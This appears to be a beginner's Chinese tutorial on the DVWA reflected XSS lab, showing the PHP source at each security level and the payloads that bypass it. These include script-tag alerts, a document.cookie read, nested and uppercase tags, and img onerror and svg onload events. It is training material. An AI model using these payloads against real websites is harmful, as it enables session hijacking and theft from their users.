本文主要是介绍DVWA之Reflected Cross Site Scripting (XSS)(小白适宜),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
DVWA之Reflected Cross Site Scripting (XSS)
嵌入网页
中间为所嵌入的网页,可调整宽高与边框(frameborder),全设为0即可消除边框
1.LOW级别
1.PHP代码分析
我们可以通过 View Source获得代码如下
<?php// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
发现此时没有任何过滤,直接写
<script>alert('hi')</script>//测试是否有xss漏洞
<script>alert(document.cookie)</script>//获取cookie
二 MEDIUM级别
1.PHP代码分析
我们可以通过 View Source获得代码如下
<?php// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}
?>
str_replace将< script >替换为空白
<scri<script>pt>alert('hi')</script>
<SCRIPT>alert('hi')</SCRIPT>
<img src=1 onerror=alert('hi')>
cookie获取同上
三 HIGH级别
1.PHP代码分析
我们可以通过 View Source获得代码如下
<?php// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}
?>
对script有一个正则的替换,但是script的写入用图片事件,和Svg事件也是可以的。
<img src = 1 onerror = alert('hi')>
<svg onload=alert('hi')>
四 IMPOSSIBLE级别
<?php// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$name = htmlspecialchars( $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}// Generate Anti-CSRF token
generateSessionToken();?>
这篇关于DVWA之Reflected Cross Site Scripting (XSS)(小白适宜)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!